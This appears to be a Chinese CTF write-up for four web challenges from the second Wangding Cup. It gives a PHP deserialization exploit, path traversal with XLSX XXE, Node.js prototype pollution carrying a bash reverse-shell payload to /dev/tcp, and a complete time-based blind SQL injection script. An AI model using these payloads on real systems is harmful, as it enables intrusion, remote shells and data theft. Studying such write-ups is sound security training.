第二届网鼎杯青龙组web writeup

web真实不如狗,web ak没有一道misc分高

题目复现环境可以在buuoj上找到

AreUSerialz

这个题很迷,一开始能读/etc/passwd,读不到flag.php,然后重新下发环境就好了,很是离谱

漏洞点在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

在process函数里对op的校验是==,可以用数字直接绕过

php7对类的修饰不敏感,直接把属性改为public,可以正常序列化并绕过is_valid的校验

所以在直接改就好了,exp如下

1
2
3
4
5
6
7
8
9
10
<?php 
class FileHandler {
public $op;
public $filename;
}

$o = new FileHandler();
$o->op = 2;
$o->filename = 'flag.php';
echo serialize($o);

file_java

开局一个upload,随便传一个txt试试,然后发现了下载功能

ctf里根据文件名来下载东西的必有蹊跷,直接试一下路径穿越,可以任意文件下载

img

尝试一波/flag,没结果

然后尝试读路径,可以报错得到绝对路径

img

然后读了下tomcat的log,发现有war包

img

直接下载,然后进行源码审计,在文件上传出存在一个xxe,一看就是出题人留的洞

image-20200511154412289

java的xlsx文件xxe算是老题了,这里直接给两篇参考文章,写的很详细,照着打就完事了

https://www.jishuwen.com/d/2inW/zh-hk

https://xz.aliyun.com/t/6829#toc-8

notes

题目给了源码,开始就是导入两个库,简直就是把考点甩到脸上,直接库名+漏洞开搜

image-20200511154914026

哦吼,直接poc都甩到脸上了,直接看代码构造就完事了

漏洞点在这,可以直接原型链污染

1
2
3
4
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

得想办法命令执行,触发点在这,简直就像是出题人留的后门,遍历commands去命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

污染后每一个list会带有一个author属性,带进去执行直接反弹shell,exp如下

1
2
3
POST /edit_note HTTP/1.1

{"id":"__proto__","author":"bash -i >& /dev/tcp/xxx/xxx 0>&1","raw":"aaa"}

trace

这题简直恶心的一批,环境崩的像shit一样。

而且不知道什么时候会出现WTF,这个时候重开解决一切问题。

大概的思路就是一个时间盲注,直接给脚本了,总之这题体检极差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time


url = "http://xxx/register_do.php"
flag = ""
index = 1


while True:
u_bound = 255; l_bound=0;
while u_bound >= l_bound:
m_bound = (u_bound + l_bound) // 2
payload = "2'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),{0},1))>{1},sleep(3),1),'1')#".format(index, m_bound)

data = {
'username':payload,
'password':'hello'
}
print(data)

t1 = time.time()
res = requests.post(url, data=data)
t2 = time.time()


if t2 - t1 > 3:
l_bound = m_bound + 1
else:
u_bound = m_bound - 1
tmp = m_bound
flag += chr(tmp)
print(flag)
index += 1
0%